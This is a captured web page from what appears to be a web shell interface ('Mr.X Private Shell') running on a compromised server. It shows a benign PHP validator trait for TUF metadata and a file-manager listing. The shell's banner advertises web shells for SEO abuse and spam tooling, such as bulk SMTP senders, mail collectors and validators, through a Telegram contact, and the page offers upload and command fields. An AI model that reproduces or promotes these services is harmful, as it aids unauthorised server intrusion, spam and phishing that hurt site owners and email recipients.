__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php


namespace Tuf\Metadata;

use Symfony\Component\Validator\Constraints\All;
use Symfony\Component\Validator\Constraints\Collection;
use Symfony\Component\Validator\Constraints\Count;
use Symfony\Component\Validator\Constraints\EqualTo;
use Symfony\Component\Validator\Constraints\GreaterThanOrEqual;
use Symfony\Component\Validator\Constraints\IdenticalTo;
use Symfony\Component\Validator\Constraints\NotBlank;
use Symfony\Component\Validator\Constraints\Optional;
use Symfony\Component\Validator\Constraints\Type;
use Symfony\Component\Validator\Validation;
use Tuf\Exception\MetadataException;

/**
 * Trait with methods to provide common constraints.
 */
trait ConstraintsTrait
{

    /**
     * Validates the structure of the metadata.
     *
     * @param array $data
     *   The data to validate.
     * @param \Symfony\Component\Validator\Constraints\Collection $constraints
     *   Th constraints collection for validation.
     *
     * @return void
     *
     * @throws \Tuf\Exception\MetadataException
     *    Thrown if validation fails.
     */
    protected static function validate(array $data, Collection $constraints): void
    {
        $validator = Validation::createValidator();
        $violations = $validator->validate($data, $constraints);
        if (count($violations)) {
            $exceptionMessages = [];
            foreach ($violations as $violation) {
                $exceptionMessages[] = (string) $violation;
            }
            throw new MetadataException(implode(",  \n", $exceptionMessages));
        }
    }

    /**
     * Gets the common hash constraints.
     *
     * @return \Symfony\Component\Validator\Constraint[][]
     *   The hash constraints.
     */
    protected static function getHashesConstraints(): array
    {
        return [
            'hashes' => [
                new Count(['min' => 1]),
                new Type('array'),
              // The keys for 'hashes is not know but they all must be strings.
                new All([
                    new Type('string'),
                    new NotBlank(),
                ]),
            ],
        ];
    }

    /**
     * Gets the common version constraints.
     *
     * @return \Symfony\Component\Validator\Constraint[][]
     *   The version constraints.
     */
    protected static function getVersionConstraints(): array
    {
        return [
            'version' => [
                new Type('integer'),
                new GreaterThanOrEqual(1),
            ],
        ];
    }

    /**
     * Gets the common threshold constraints.
     *
     * @return \Symfony\Component\Validator\Constraint[][]
     *   The threshold constraints.
     */
    protected static function getThresholdConstraints(): array
    {
        return [
            'threshold' => [
                new Type('integer'),
                new GreaterThanOrEqual(1),
            ],
        ];
    }
    /**
     * Gets the common keyids constraints.
     *
     * @return \Symfony\Component\Validator\Constraint[][]
     *   The keysids constraints.
     */
    protected static function getKeyidsConstraints(): array
    {
        return [
            'keyids' => [
                new Count(['min' => 1]),
                new Type('array'),
                // The keys for 'hashes is not know but they all must be strings.
                new All([
                    new Type('string'),
                    new NotBlank(),
                ]),
            ],
        ];
    }

    /**
     * Gets the common key Collection constraints.
     *
     * @return Collection
     *   The 'key' Collection constraint.
     */
    protected static function getKeyConstraints(): Collection
    {
        return new Collection([
            // This field is not part of the TUF specification and is being
            // removed from the Python TUF reference implementation in
            // https://github.com/theupdateframework/tuf/issues/848.
            // If it is provided though we only support the default value which
            // is passed on from a setting in the Python `securesystemslib`
            // library.
            'keyid_hash_algorithms' => new Optional([
                new EqualTo(['value' => ["sha256", "sha512"]]),
            ]),
            'keytype' => [
                new Type('string'),
                new IdenticalTo('ed25519'),
            ],
            'keyval' => [
                new Type('array'),
                new Collection([
                    'public' => [
                        new Type('string'),
                        new NotBlank(),
                    ],
                ]),
            ],
            'scheme' => [
                new Type('string'),
                new NotBlank(),
            ],
        ]);
    }

    /**
     * Gets the role constraints.
     *
     * @return \Symfony\Component\Validator\Constraints\Collection
     *   The role constraints collection.
     */
    protected static function getRoleConstraints(): Collection
    {
        return new Collection(
            static::getKeyidsConstraints() +
            static::getThresholdConstraints()
        );
    }
}

Filemanager

Name Type Size Permission Actions
Verifier Folder 0775
ConstraintsTrait.php File 5.04 KB 0664
FileInfoMetadataBase.php File 794 B 0664
MetadataBase.php File 7.36 KB 0664
RootMetadata.php File 2.85 KB 0664
SnapshotMetadata.php File 1.38 KB 0664
StorageBase.php File 2.08 KB 0664
StorageInterface.php File 1.67 KB 0664
TargetsMetadata.php File 7.87 KB 0664
TimestampMetadata.php File 1.17 KB 0664
Filemanager